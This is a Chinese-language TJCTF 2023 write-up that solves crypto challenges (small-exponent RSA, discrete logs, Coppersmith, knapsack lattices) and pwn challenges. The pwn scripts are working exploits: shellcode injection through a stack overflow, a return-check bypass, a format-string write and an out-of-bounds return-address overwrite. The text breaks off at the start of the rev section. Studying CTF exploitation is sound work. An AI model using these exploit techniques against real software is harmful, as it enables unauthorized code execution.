[tjctf 2023] crypto,pwn,rev部分

三块没有一个通关的。rev差两个,crypto.pwn都差一题

Crypto

baby-rsa

给出n,e,c其中e=3,c明显小于n,这个一看就是n给大了e给小了,结果乘幂后还是比n小,直接开根号

n = 10888751337932558679268839254528888070769213269691871364279830513893837690735136476085167796992556016532860022833558342573454036339582519895539110327482234861870963870144864609120375793020750736090740376786289878349313047032806974605398302398698622431086259032473375162446051603492310000290666366063094482985737032132318650015539702912720882013509099961316767073167848437729826084449943115059234376990825162006299979071912964494228966947974497569783878833130690399504361180345909411669130822346252539746722020515514544334793717997364522192699435604525968953070151642912274210943050922313389271251805397541777241902027
e = 3
c = 2449457955338174702664398437699732241330055959255401949300755756893329242892325068765174475595370736008843435168081093064803408113260941928784442707977000585466461075146434876354981528996602615111767938231799146073229307631775810351487333
iroot(c,3)

#tjctf{13480003234703410053450996463993016282899173891711201866423770445454703509988477}

ezdlp

dlp入门,没有任何弯,直接取对数

g = 8999 
s = 11721478752747238947534577901795278971298347908127389421908790123 
p = 12297383901740584470151577318651150337988716807049317851420298478128932232846789427512414204247770572072680737351875225891650166807323215624748551744377958007176198392481481171792078565005580006750936049744616851983231170824931892761202881982041842121034608612146861881334101500003915726821683000760611763097

g^x = s mod p
flag = tjctf{x}
x = discrete_log(s,mod(g,p))

#tjctf{26104478854569770948763268629079094351020764258425704346666185171631094713742516526074910325202612575130356252792856014835908436517926646322189289728462011794148513926930343382081388714077889318297349665740061482743137948635476088264751212120906948450722431680198753238856720828205708702161666784517}

iheartrsa

给了远程代码,这里e没有给出,是说当乘幂大于n时即可。

#!/usr/local/bin/python3.10 -u

import ast
import sys

import select
from Crypto.Util import number
import hashlib

with open('flag.txt') as f:
    flag = f.readline()

raw_bin = str(
    bin(int('0x'+str(hashlib.sha256(flag.encode('utf-8')).hexdigest()), 16))[2:])
hsh = int('0b1' + '0' * (256 - len(raw_bin)) + raw_bin, 2)

p = number.getPrime(1024)
q = number.getPrime(1024)
n = p * q
e = 0

for i in range(0, 100):
    if pow(hsh, i) >= n:
        e = i
        break

m = pow(hsh, e, n)
print(f'm: {m}')
print(f'n: {n}')


def input_with_timeout(prompt, timeout):
    sys.stdout.write(prompt)
    sys.stdout.flush()
    ready, _, _ = select.select([sys.stdin], [], [], timeout)
    if ready:
        return sys.stdin.readline().rstrip('\n')
    raise Exception


try:
    answer = input_with_timeout('', 20)
    try:
        answer = ast.literal_eval(answer)
        if hsh == answer:
            print('you love rsa so i <3 you :DD')
            print(flag)
        else:
            print("im upset")
    except Exception as e:
        print("im very upset")
except Exception as e:
    print("\nyou've let me down :(")

flag是用的sha256加密,结果是256位前边加1位是256位,也就是e=8时刚大于n的2048位,而且大出的很小不超过8位。可以直接+n开根号爆破

from pwn import *

context.log_level = 'debug'

io = remote('tjc.tf', 31628)
io.recvuntil(b'm: ')
m = eval(io.recvline())
io.recvuntil(b'n: ')
n = eval(io.recvline())

e = 8 
while True:
    m += n 
    v = iroot(m,8)
    if v[1]:
        io.sendline(str(v[0]).encode())
        io.recvline()
        print(io.recvline())
        break

#tjctf{iloversaasmuchasilovemymom0xae701ebb}

squishy

rsa验证的题,题目有漏洞,就是输入\x00开头的串转比较时会与原串不同,但是转整后相同。直接绕过即可

#!/usr/local/bin/python3.10 -u

import sys
import select
from Crypto.Util.number import bytes_to_long, getPrime


def input_with_timeout(prompt, timeout=10):
    sys.stdout.write(prompt)
    sys.stdout.flush()
    ready, _, _ = select.select([sys.stdin], [], [], timeout)
    if ready:
        return sys.stdin.buffer.readline().rstrip(b'\n')
    raise Exception


def sign(a):
    return pow(bytes_to_long(a), d, n)


def check(a, s):
    return bytes_to_long(a) == pow(s, e, n)


e = 65537
users = {b"admin"}

p = getPrime(1000)
q = getPrime(1000)
n = p * q
d = pow(e, -1, (p - 1) * (q - 1))


print(n)

while True:
    cmd = input("Cmd: ")
    if cmd == "new":
        name = input_with_timeout("Name: ")
        if name not in users:
            users.add(name)
            print(name, sign(name))
        else:
            print("Name taken...")
    elif cmd == "login":
        name = input_with_timeout("Name: ")
        sig = int(input_with_timeout("Sign: ").decode())
        if check(name, sig) and name in users:
            if name == b"admin":
                print("Hey how'd that happen...")
                print(open("flag.txt", "r").read())
            else:
                print("No admin, no flag")
        else:
            print("Invalid login.")

    else:
        print("Command not recognized...")
from pwn import *

p = remote('tjc.tf', 31358)
context.log_level = 'debug'

p.sendlineafter(b"Cmd: ", b'new')
p.sendlineafter(b"Name: ", b'\x00admin')
enc = int(p.recvline().decode().split(' ')[1])

p.sendlineafter(b"Cmd: ", b'login')
p.sendlineafter(b"Name: ", b'admin')
p.sendlineafter(b"Sign: ", str(enc).encode())

p.recvline()
print(p.recvline())
p.interactive()

#tjctf{sQuIsHy-SqUiShY-beansbeansbeans!!!!!!}

e

低加密指数,部分明文已知的板子题(给出的是sage代码^表示乘幂不是异或)

from Crypto.Util.number import bytes_to_long

p = random_prime(2 ^ 650)
q = random_prime(2 ^ 650)
N = p*q
e = 5
flag = open("flag.txt", "rb").read().strip()
m = bytes_to_long(b'the challenges flag is ' + flag)
c = m ^ e % N
print("N: ", N)
print("C: ", c)
print("e: ", e)

前边调用了个板子存的函数,由于flag长度未知,这里直接爆破出结果,一般flag不会太长

def coppersmith_howgrave_univariate(pol, modulus, beta, mm, tt, XX):
    """
    Coppersmith revisited by Howgrave-Graham

    finds a solution if:
    * b|modulus, b >= modulus^beta , 0 < beta <= 1
    * |x| < XX
    """
    #
    # init
    #
    dd = pol.degree()
    nn = dd * mm + tt

    #
    # checks
    #
    if not 0 < beta <= 1:
        raise ValueError("beta should belongs in (0, 1]")

    if not pol.is_monic():
        raise ArithmeticError("Polynomial must be monic.")

    #
    # calculate bounds and display them
    #
    # Coppersmith revisited algo for univariate
    #
    # change ring of pol and x
    polZ = pol.change_ring(ZZ)
    x = polZ.parent().gen()

    # compute polynomials
    gg = []
    for ii in range(mm):
        for jj in range(dd):
            gg.append((x * XX)**jj * modulus**(mm - ii) * polZ(x * XX)**ii)
    for ii in range(tt):
        gg.append((x * XX)**ii * polZ(x * XX)**mm)

    # construct lattice B
    BB = Matrix(ZZ, nn)

    for ii in range(nn):
        for jj in range(ii+1):
            BB[ii, jj] = gg[ii][jj]

    # LLL
    BB = BB.LLL()

    # transform shortest vector in polynomial
    new_pol = 0
    for ii in range(nn):
        new_pol += x**ii * BB[0, ii] / XX**ii

    # factor polynomial
    potential_roots = new_pol.roots()
    print("potential roots:", potential_roots)


    return potential_roots




N = 853008036761402960429244085500226305898326229049062709229066738337581395441559298620215547481097485360068401045559533084692445386310317304293873811639421668853703030998563380404046228010704173349786419154143323587451196441095743638783569173579503503557413613700490069592150975220823978641111437607374483116682547794651693986279540940965888470663234601045413512056249535670198419685119952947
c = 298700332507654723773580072855784292117810966958600234446114828082727445272393622869719877676272804981941548843479760604983256960593285221389548684954375981617049731866256547635842115184695147132731165168615990125469633018271766466825307769730709868985624843944432541800012321786587028293887532995722347604510229248766961319729482167555605707032678858635163105035385522888663577785577519392
e = 5

from gmpy2 import iroot 
from Crypto.Util.number import long_to_bytes ,bytes_to_long 

m = bytes_to_long(b'the challenges flag is ')


for i in range(5,80):  #爆破flag长度
    P.<x> = PolynomialRing(Zmod(N))
    f = (m*2^(i*8) + x)^e - c
    dd = f.degree()
    beta = 1
    epsilon = 0.05 #beta / 7
    mm = ceil(beta**2 / (dd * epsilon))
    tt = floor(dd * mm * ((1/beta) - 1))
    XX = ceil(N**((beta**2/dd) - epsilon))
    roots = coppersmith_howgrave_univariate(f, N, beta, mm, tt, XX)
    print(i, roots)

#tjctf{coppersword2}

merky-hell

这里代码给了很长,实际上就是个背包加密,原理是背包问题,解法是格基规约。标准的板子题,不加修饰的。加了修饰拐了任何一个弯板子人就不会了。

from math import gcd
import secrets
from Crypto.Util.number import *
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad

n = 48

with open('flag.txt', 'rb') as f:
    flag = f.read()


def randint(a, b):
    return int(secrets.randbelow(int(b-a + 1)) + a)  #[a,b]


def makeKey():
    W = []
    s = 0
    for i in range(n):
        curr = 0
        if i != 0:
            curr = randint((2**i - 1) * 2**n + 1, 2**(i+n))
        else:
            curr = randint(1, 2**n)
        assert s < curr
        s += curr
        W.append(curr)

    q = randint((1 << (2 * n + 1)) + 1, (1 << (2 * n + 2)) - 1)

    r = randint(2, q - 2)
    r //= gcd(r, q)

    B = []
    for w in W:
        B.append((r * w) % q)

    return B, (W, q, r)


def encrypt(public, m):
    return sum([public[i] * ((m >> (n - i - 1)) & 1) for i in range(n)]) #高位在前


pub, _ = makeKey()

sup_sec_num = secrets.randbits(n)

msg = encrypt(pub, sup_sec_num)

iv = secrets.token_bytes(16)

key = pad(long_to_bytes(sup_sec_num), 16)
cipher = AES.new(key, AES.MODE_CBC, iv=iv)
ct = cipher.encrypt(pad(flag, 16))

print('B =', pub)
print('msg =', msg)
print('iv =', iv.hex())
print('ct =', ct.hex())

直接套用,最后AES解密

B = [243873082678558120886143238109, 140121004360885317204645106697, 65971149179852778782856023084, 198367501585318217337192915461, 90780110766692265488675597096, 204457189038632581915443073067, 11843936715392553537334014601, 249714131767678082951811660354, 46864685536820768096162079781, 270615453249669076126135660113, 62422813932318315478542903448, 54340894478463039745320012710, 82166063070770734716784239617, 123360554027599432641005228613, 225930829813243714315757104718, 140931881774215407739681383827, 153511648985484571193029079380, 128333502017904902954574343976, 157971994970491620681977801348, 151995940102680832680366775791, 111930343189002833676566713355, 254629522353980890137482003596, 46122603870700121747541022366, 106621126674742413122499956117, 213619593425584289387962971025, 250029395347234943835276840576, 90157964719511330175905946756, 160955342950540531541477834386, 62686435507426271661129199824, 48684199759430660574537497320, 262348080860779266021957164776, 123406793114541556721282454859, 8323348282744522342656453505, 8204832183897468999773786370, 117068364683450498818799008726, 22742733514396961388718208907, 152588763365550382579175625426, 18880903696373297518512895359, 168999842801038138048571134864, 251946102324340921852977277387, 62739530425883979430660351271, 26189963743964979633698113800, 149052997409450695582768647188, 161035032125544665156226726161, 170005203789455944372862796495, 127446446141939678833034246067, 66890847724290458515749208331, 230355717600508139033028789245]
msg = 4096661050207034370558640511465
iv = bytes.fromhex('c3599b694d81ca069cefdbd7c8f06812')
ct = bytes.fromhex('8e291e6ea5eb6f186949c8d25c5e6dc30c1869a7abf1078d26792dc846f2ffb9b5793fe92036fe55c9f8a6c61f4f516e')

#背包问题
nbits = 48
A = Matrix(ZZ, nbits + 1, nbits + 1)
for i in range(nbits):
    A[i, i] = 1
    A[i, nbits] = B[i]
A[nbits,nbits] = -int(msg)
 
res = A.LLL()
#搜索验证
for i in range(0, nbits + 1):
    # print solution
    M = res.row(i).list()
    flag = True
    for m in M:
        if m != 0 and m != 1:
            flag = False
            break
    if flag:
        print(i, M)
        M = ''.join(str(j) for j in M)
        # remove the last bit
        M = M[:-1]             #矩阵是n+1行,结果是n+1个值,最后一个去掉
        m = int(M, 2)
        print(m)

# [1, 1, 0, 1, 0, 1, 0, 0, 0, 0, 1, 0, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 0, 1, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 1, 0, 1, 0, 0, 0, 0]
#233294031172328

from Crypto.Util.number import long_to_bytes
from Crypto.Util.Padding import pad
from Crypto.Cipher import AES 

sup_sec_num = 233294031172328
key = pad(long_to_bytes(sup_sec_num), 16)
cipher = AES.new(key, AES.MODE_CBC, iv=iv)
flag = cipher.decrypt(ct)
#tjctf{knaps4ck-rem0v4L0-CreEEws1278bh}

keysmith

这个第一天给难住了,第二天突然想到解法

#!/usr/local/bin/python3.10 -u
from Crypto.Util.number import getPrime
flag = open("flag.txt", "r").read()

po = getPrime(512)
qo = getPrime(512)
no = po * qo
eo = 65537

msg = 762408622718930247757588326597223097891551978575999925580833
s = pow(msg,eo,no)

print(msg,"\n",s)

try:
    p = int(input("P:"))
    q = int(input("Q:"))
    e = int(input("E:"))
except:
    print("Sorry! That's incorrect!")
    exit(0)

n = p * q
d = pow(e, -1, (p-1)*(q-1))
enc = pow(msg, e, n)
dec = pow(s, d, n)
if enc == s and dec == msg:
    print(flag)
else:
    print("Not my keys :(")

题目随机取两个素数对msg加密得到s,都给出但n没给。要求给出任意的p,q,e然后能用明文加密成密文,并能从密文解密出明文。虽然能加密解密但并不是说就是原来的p,q,e只是这个给出的点重合。

虽然题目给的 rsa加密,但不是rsa问题是dlp问题,也就是要找一个p让它对密文取对数得到e,但并不是任何素数取对数都能成功,这个要求p-1光滑,非常光滑,越滑越好。前几天一个题就是这个光滑数是4096位的,这里需要个1024+的即可。用前几天看的wp的方法用一个小素数左移然后加1,这个数减1后的因子基本全是2,小素数也很小,所以可对。

第二是要求e有逆,这个没好办法,因为生成的素数因子大多是2,所以与e有公因子也正常,爆破一个gcd==1的即可。

另外就是题目要求两个素数,对于s = m^e%n来说%p也成立,但反过来不一定成立,不过大概率成立。所以这个q要爆破一下,一般爆破几个就能成功。我试着第1个就成了。

from pwn import *
from Crypto.Util.number import isPrime 
from sage.all import *

io = remote('tjc.tf', 31103)
context.log_level = 'debug'

msg = eval(io.recvline())
s = eval(io.recvline())

#get p
for j in range(3,0x1000000):
    p = j*(17<<1020)+1   #p-1光滑
    if is_prime(p):
        print(j)
        try:
            e = discrete_log(s,mod(msg,p))
            if gcd(e, p-1) == 1:
                print('p:', p)
                print('e:', e)
                break 
        except:
            continue 

for j in range(3,0x10000,2): 
    if isPrime(j):
        if pow(msg,e,j*p) == s and gcd(e, j-1)==1:
            print('q:',j)
            q = j 
            break 

io.sendlineafter(b"P:", str(p).encode())
io.sendlineafter(b"Q:", str(q).encode())
io.sendlineafter(b"E:", str(e).encode())

io.recvline()
io.recvline()

io.interactive()

'''
762408622718930247757588326597223097891551978575999925580833
43702436509757326336438182135857400078603716426818931981925422334067838750896722688201044956327747464145436722723554375647305025202152215596641401129632173370466702832252018951311505962855126544117103589396071853249012072937973506348718307149005393560408005764979480512336133384533240629952292002964632084304

167129283631730932046708841956167143203546297261042564183892028576329597037926676662439912510675756144635105872692936012198406113194652953723819095672636100007456088418429630842812219785533478126679038057016528800716718212490258460120278594955925322050302427902076324144950955208430361252151620337697520877568001
3
46351245749787152661103940395995082654632344613868677972472440339907438040457429422805634442629497653113554165470202695931851696141959731450191263015553586726010171368142146952569468957017122829829141545814345050784099324975063078677418067737568349822363430089878772306354398776639089550850223383829186997191661
b'tjctf{lock-smith_289378972359}'
'''

aluminum-isopropoxide

给了程序加密原码和3个密文(哪个感觉未知)

#include <iostream>
#include <cinttypes>
#include <string>
#include <filesystem>
#include <fstream>
#include <sys/stat.h>
#include <vector>
#include <cstring>
using namespace std;
using namespace std::filesystem;

typedef uint8_t Byte;

void make_key(Byte *S, const std::string &key)
{
	for (int i = 0; i < 255; i++)
		S[i] = i;

	Byte j = 0;
	for (int i = 0; i < 255; i++)
	{
		j = (j ^ S[i] ^ key[i % key.length()]) % 256;
		std::swap(S[i], S[j]);
	}
}

Byte S_box[256] = {24, 250, 101, 19, 98, 246, 141, 58, 129, 74, 227, 160, 55, 167, 62, 57, 237, 156, 32, 46, 90, 67, 22, 3, 149, 212, 36, 210, 27, 99, 168, 109, 125, 52, 173, 184, 214, 86, 112, 70, 5, 252, 6, 170, 30, 251, 103, 43, 244, 213, 211, 198, 16, 242, 65, 118, 68, 233, 148, 18, 61, 17, 48, 80, 187, 206, 72, 171, 234, 140, 116, 35, 107, 130, 113, 199, 51, 114, 232, 134, 215, 197, 31, 150, 247, 79, 26, 110, 142, 29, 9, 117, 248, 186, 105, 120, 15, 179, 207, 128, 10, 254, 83, 222, 178, 123, 100, 39, 228, 84, 93, 97, 60, 94, 180, 146, 185, 38, 203, 235, 249, 89, 226, 1, 106, 12, 216, 221, 8, 45, 13, 2, 14, 75, 49, 33, 127, 163, 111, 85, 255, 253, 166, 151, 40, 23, 194, 34, 139, 95, 145, 193, 159, 133, 69, 245, 196, 102, 91, 11, 157, 96, 47, 152, 154, 59, 181, 28, 126, 200, 158, 88, 224, 231, 41, 190, 240, 191, 188, 143, 164, 189, 217, 54, 66, 241, 209, 104, 78, 87, 82, 230, 182, 220, 53, 147, 21, 136, 76, 0, 115, 169, 71, 44, 223, 175, 92, 25, 177, 64, 201, 77, 138, 144, 204, 229, 81, 20, 183, 205, 124, 243, 4, 172, 174, 108, 132, 176, 135, 161, 162, 7, 236, 195, 238, 56, 42, 131, 218, 155, 121, 153, 239, 50, 219, 225, 37, 202, 63, 137, 192, 208, 119, 122, 165, 73};

void enc(Byte *S, Byte *out, int amount)
{
	Byte i = 0;
	Byte j = 0;
	int ctr = 0;
	while (ctr < amount)
	{
		i = (i * j) % 256;
		j = (i + S[j]) % 256;
		// std::swap(S[i],S[j]);
		Byte K = (S[i] & S[j]);
		out[ctr] ^= S_box[K];
		ctr++;
	}
}

Byte key[256];
int main()
{

	std::string path = current_path();

	std::vector<std::string> files;
	for (const auto &file : directory_iterator(path))
		files.push_back(std::string(file.path()));

	for (const auto &file : files)
	{
		std::cout << file << "\n";
		struct stat results;
		std::ifstream in(file);
		std::ofstream out(file + ".enc", std::ofstream::binary);
		if (stat(file.c_str(), &results) == 0)
		{
			uint8_t *buffer = new uint8_t[results.st_size];
			in.read((char *)buffer, results.st_size);

			make_key(key, std::to_string(rand()));
			enc(key, buffer, results.st_size);

			out.write((char *)buffer, results.st_size);
			delete[] buffer;
		}
		in.close();
		out.close();
	}

	return 0;
}

看上去像RC4加密,不过加密流交换那步给干掉了,也就是加密流生成以后不再变。不过这似乎没关系。

用python重写一下,试3个文件(文件先后顺序不详,只能都试一下)

'''
make_key(Byte *S, const std::string &key)
{
	for (int i = 0; i < 255; i++)
		S[i] = i;

	Byte j = 0;
	for (int i = 0; i < 255; i++)
	{
		j = (j ^ S[i] ^ key[i % key.length()]) % 256;
		std::swap(S[i], S[j]);
	}
}
'''
def make_key(key):
    S = [i for i in range(256)]
    #S[255]=0
    j = 0
    for i in range(256):
        j = (j^S[i]^key[i%len(key)])%256
        S[i],S[j] = S[j],S[i]
    return S 

'''
void enc(Byte *S, Byte *out, int amount)
{
	Byte i = 0;
	Byte j = 0;
	int ctr = 0;
	while (ctr < amount)
	{
		i = (i * j) % 256;
		j = (i + S[j]) % 256;
		// std::swap(S[i],S[j]);
		Byte K = (S[i] & S[j]);
		out[ctr] ^= S_box[K];
		ctr++;
	}
}
'''
def enc(S, c):
    i,j,ctr = 0,0,0
    out = list(c)
    for _ in range(len(c)):
        i = (i*j)%256 
        j = (i + S[j])%256 
        K = (S[i]&S[j])
        out[ctr] ^= S_box[K]
        ctr +=1 
    print(bytes(out))


rand = [1804289383,846930886,1681692777]  #未置种子,前3个值为
S_box = [24, 250, 101, 19, 98, 246, 141, 58, 129, 74, 227, 160, 55, 167, 62, 57, 237, 156, 32, 46, 90, 67, 22, 3, 149, 212, 36, 210, 27, 99, 168, 109, 125, 52, 173, 184, 214, 86, 112, 70, 5, 252, 6, 170, 30, 251, 103, 43, 244, 213, 211, 198, 16, 242, 65, 118, 68, 233, 148, 18, 61, 17, 48, 80, 187, 206, 72, 171, 234, 140, 116, 35, 107, 130, 113, 199, 51, 114, 232, 134, 215, 197, 31, 150, 247, 79, 26, 110, 142, 29, 9, 117, 248, 186, 105, 120, 15, 179, 207, 128, 10, 254, 83, 222, 178, 123, 100, 39, 228, 84, 93, 97, 60, 94, 180, 146, 185, 38, 203, 235, 249, 89, 226, 1, 106, 12, 216, 221, 8, 45, 13, 2, 14, 75, 49, 33, 127, 163, 111, 85, 255, 253, 166, 151, 40, 23, 194, 34, 139, 95, 145, 193, 159, 133, 69, 245, 196, 102, 91, 11, 157, 96, 47, 152, 154, 59, 181, 28, 126, 200, 158, 88, 224, 231, 41, 190, 240, 191, 188, 143, 164, 189, 217, 54, 66, 241, 209, 104, 78, 87, 82, 230, 182, 220, 53, 147, 21, 136, 76, 0, 115, 169, 71, 44, 223, 175, 92, 25, 177, 64, 201, 77, 138, 144, 204, 229, 81, 20, 183, 205, 124, 243, 4, 172, 174, 108, 132, 176, 135, 161, 162, 7, 236, 195, 238, 56, 42, 131, 218, 155, 121, 153, 239, 50, 219, 225, 37, 202, 63, 137, 192, 208, 119, 122, 165, 73]

for i in range(3):
    S = make_key(str(rand[i]).encode())
    enc(S, open('flag.txt.enc', 'rb').read())
    enc(S, open('flag1.txt.enc', 'rb').read())
    enc(S, open('flag2.txt.enc', 'rb').read())

'''
b"\x81\xca\xa0\x8f\xcd\x8c'\xcfL\x831\xa6[\xcf\xcc>EOx\x95A\xfb@cf_v\xf4\xb7\x9fnWs\xf5"
b'c\xc6\xe2\x008\x18\xb4\x83=\x10\xa4)\x83\xa5\xb7\xd2\x85\x83:`\xaf\xfb\x8c\xb7\x17_@\xac\xcc\x91\x0f\xbe\tj'
b'\xddt\xfd\x1f[\x03\xaft\xde\xfe=Np\xbe\xd4\xa9g\xf4@\x93\\t\x97H\xe0\xaa][\xaf\xf4\xf8\xa9\x14\x88'
b'\x817\xdf\xae\xe4\x85\xf5\xc3\xf3H\xca\x19w\xe0\x8a\x92R\x1d\xa2<5t\xfc\x04>\xd2\x95\xdd\x98E\x15\x8d\xc2['
b'c;\x9d!\x11\x11f\x8f\x82\xdb_\x96\xaf\x8a\xf1~\x92\xd1\xe0\xc9\xdbt0\xd0O\xd2\xa3\x85\xe3Ktd\xb8\xc4'
b"\xdd\x89\x82>r\n}xa5\xc6\xf1\\\x91\x92\x05p\xa6\x9a:(\xfb+/\xb8'\xber\x80.\x83s\xa5&"
b'\x96f!\xfb\x93\xef\xf5 \x10\xf4\xca\xfa\xb6\x0e\x1e\x9e\x9f\xa1-\x80\x80t\xad\xbd\x1f_Y>$j\x14\x9a\x0e\xe2'
b'tjctf{flag_under_mountain_of_dust}'
b'\xca\xd8|k\x05`}\x9b\x82\x89\xc6\x12\x9d\x7f\x06\t\xbd\x1a\x15\x86\x9d\xfbz\x96\x99\xaar\x91<\x01\x82di\x9f'
'''

PWN

flip-out

flag.txt已经准备好了,就在128字节后,要求输入东西显示,这里输入够长自然就出来了

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+4h] [rbp-BCh]
  FILE *stream; // [rsp+8h] [rbp-B8h]
  char nptr[46]; // [rsp+10h] [rbp-B0h] BYREF
  __int16 v7; // [rsp+3Eh] [rbp-82h]
  __int64 v8; // [rsp+40h] [rbp-80h]
  __int64 v9; // [rsp+48h] [rbp-78h]
  __int64 v10; // [rsp+50h] [rbp-70h]
  __int64 v11; // [rsp+58h] [rbp-68h]
  __int64 v12; // [rsp+60h] [rbp-60h]
  __int64 v13; // [rsp+68h] [rbp-58h]
  __int64 v14; // [rsp+70h] [rbp-50h]
  __int64 v15; // [rsp+78h] [rbp-48h]
  __int64 v16; // [rsp+80h] [rbp-40h]
  __int64 v17; // [rsp+88h] [rbp-38h]
  __int64 v18[6]; // [rsp+90h] [rbp-30h] BYREF

  v18[5] = __readfsqword(0x28u);
  setbuf(_bss_start, 0LL);
  strcpy(nptr, "Nothing to see here... Nothing to see here...");
  v7 = 0;
  v8 = 0LL;
  v9 = 0LL;
  v10 = 0LL;
  v11 = 0LL;
  v12 = 0LL;
  v13 = 0LL;
  v14 = 0LL;
  v15 = 0LL;
  v16 = 0LL;
  v17 = 0LL;
  memset(v18, 0, 25);
  stream = fopen("flag.txt", "r");
  if ( stream )
  {
    fgets((char *)v18, 25, stream);
    fclose(stream);
    printf("Input: ");
    __isoc99_scanf("%15s", nptr);
    v4 = atoi(nptr);
    if ( v4 <= 128 )
      printf("%s", &nptr[(unsigned __int8)v4]); // 输入128即可
    return 0;
  }
  else
  {
    printf("Cannot find flag.txt.");
    return 1;
  }
}

shelly

栈深256读入512,明显有溢出,给出栈地址,没有加载地址和libc只能用栈的话就是栈可执行,看了题确实可执行。return位置写上栈地址跳过去执行就行。

唯一的卡就就是一个检查,不过可以用第1字节是0绕过

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[256]; // [rsp+0h] [rbp-100h] BYREF

  setbuf(stdout, 0LL);
  printf("0x%lx\n", s);
  fgets(s, 512, stdin);
  for ( i = 0; i <= 510 && s[i]; ++i )          // 0绕过
  {
    if ( s[i] == 15 && s[i + 1] == 5 )
    {
      puts("nonono");
      exit(1);
    }
  }
  puts("ok");
  return 0;
}
from pwn import *

#p = process('./chall')
p = remote('tjc.tf', 31365)
context(arch='amd64', log_level='debug')

#gdb.attach(p, "b*0x401255")

p.recvuntil(b'0x')
s_addr = int(p.recvline(), 16)

pay = b'\x00'+ asm(shellcraft.sh())
pay = pay.ljust(0x108, b'\x90') + p64(s_addr+1)

p.sendline(pay)

p.interactive()
#tjctf{s4lly_s3lls_s34sh3lls_50973fce}

groppling-hook

给了原码,有后门win

#include "stdio.h"
#include <stdlib.h>

void laugh()
{
	printf("ROP detected and denied...\n");
	exit(2);
}

void win()
{
	FILE *fptr;
	char buf[28];
	// Open a file in read mode
	fptr = fopen("flag.txt", "r");
	fgets(buf, 28, fptr);
	puts(buf);
}

void pwnable()
{
	char buffer[10];
	printf(" > ");
	fflush(stdout);

	read(0, (char *)buffer, 56);

	/* Check ret */
	__asm__ __volatile__("add $0x18, %rsp;"
						 "pop %rax;"
						 "cmp $0x0401262, %rax;"
						 "jle EXIT;"
						 "cmp $0x040128a, %rax;"
						 "jg EXIT;"
						 "jmp DONE;"
						 "EXIT:"
						 "call laugh;"
						 "DONE: push %rax;");
	return;
}

int main()
{
	setbuf(stdout, NULL);

	pwnable();

	return 0;
}

代码里边有数据检查(汇编部分),要求return位置只能在main范围内,所以这里改成main最后的ret在后边再写后门。

from pwn import *

#p = process('./out')
p = remote('tjc.tf', 31080)
context(arch='amd64', log_level='debug')

#gdb.attach(p, "b*0x401255")

pay = b'\x00'*18 + flat(0x40128a, 0x4011b3)  #ret绕过检查,再到后门
p.sendafter(b" > ", pay)

p.recvline()
p.interactive()

formatter

看名字是格式化字符串漏洞

在堆里建块,然后对块内内容检查,通过就给flag,在输入时有printf格式化字符串漏洞。

先修改堆指针,然后在修改后的位置写上指定值,他会执行一个+2,这个不好绕过,就在输入的时候先减2

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[268]; // [rsp+0h] [rbp-110h] BYREF
  int i; // [rsp+10Ch] [rbp-4h]

  setbuf(_bss_start, 0LL);
  xd = calloc(1uLL, 4uLL);                      // 403440
  printf("give me a string (or else): ");
  fgets(s, 256, stdin);
  printf(s);
  r1(s[0]);
  if ( win() )                                  // xd = 141191486
  {
    for ( i = 0; i <= 255; ++i )
      putchar(among[i]);
  }
  free(xd);
  return 0;
}
from pwn import *

#p = process('./format')
p = remote('tjc.tf', 31764)
context(arch='amd64', log_level='debug')

pay = fmtstr_payload(6,{0x403440 : 0x403448, 0x403448: 141191486-2}, write_size = "byte", numbwritten = 0)

#gdb.attach(p, "b*0x4013ad\nc")

p.sendlineafter(b"give me a string (or else): ", pay)


p.recv()
p.interactive()

teenage-game

一个游戏,用wasd先择上左下右l读入当前显示的字符。但走过之后会改为点。其实就是只能改1位,等下一轮转回来就又改回来了。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v3; // al
  int v5[2]; // [rsp+8h] [rbp-A98h] BYREF
  char v6[2704]; // [rsp+10h] [rbp-A90h] BYREF

  setup_terminal();
  setvbuf(stdout, stdout_buf, 0, 0x1000uLL);
  init_player(v5);                              // 初始值4行4列
  init_map((__int64)v6, v5);
  print_map((__int64)v6);
  signal(2, sigint_handler);
  while ( v5[0] != 29 || v5[1] != 89 )
  {
    v3 = getchar();
    move_player(v5, v3, (__int64)v6);
    print_map((__int64)v6);
  }
  puts("You win!");
  return 0;
}

int __fastcall move_player(int *op, char input_c, __int64 map)
{
  __int64 v3; // rax

  if ( input_c == 'l' )
  {
    LODWORD(v3) = getchar();
    player_tile = v3;
  }
  else
  {
    *(_BYTE *)(map + 90LL * *op + op[1]) = 0x2E;
    switch ( input_c )
    {
      case 'w':
        --*op;
        break;
      case 's':
        ++*op;
        break;
      case 'a':
        --op[1];
        break;
      case 'd':
        ++op[1];
        break;
    }
    v3 = op[1];
    *(_BYTE *)(90LL * *op + map + v3) = player_tile;
  }
  return v3;
}

由于边界没有限制可以越界,当向上到0再往上走时就与move_player的返回地址重合了,算好偏移后把这里的尾字符改为后门(两个正好只关1字节),不能直着走过去,只能从下方调后,点上,就执行了。

from pwn import *

#p = process('./game')
p = remote('tjc.tf', 31119)
context(arch='amd64', log_level='debug')

#gdb.attach(p)
#pause()


pay = b'w'*4 + b'd'*62 + b'l\xe7w'

p.send(pay)

#p.recvline()

p.interactive()

'''
0x00007ffc99076a00│+0x0000: 0x00007fbd287df040  →  0x00007fbd287e02e0  →  0x0000563b8b9c9000  →  0x00010102464c457f      ← $rsp
0x00007ffc99076a08│+0x0008: 0x00007ffc99076a40  →  "..................................................[...]"
0x00007ffc99076a10│+0x0010: 0x0000007700000000
0x00007ffc99076a18│+0x0018: 0x00007ffc99076a38  →  0x00000042ffffffff
0x00007ffc99076a20│+0x0020: 0x00007ffc990774d0  →  0x0000000000000001    ← $rbp
0x00007ffc99076a28│+0x0028: 0x0000563b8b9ca3df  →  <win+0> endbr64 
0x00007ffc99076a30│+0x0030: 0x0000000000000350
0x00007ffc99076a38│+0x0038: 0x00000042ffffffff   ← $rdi
'''

REV

wtmoo

给了密文,对小写大写数字分别作相应处理。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int i; // [rsp+8h] [rbp-58h]
  int v5; // [rsp+Ch] [rbp-54h]
  char s[32]; // [rsp+10h] [rbp-50h] BYREF
  char dest[40]; // [rsp+30h] [rbp-30h] BYREF
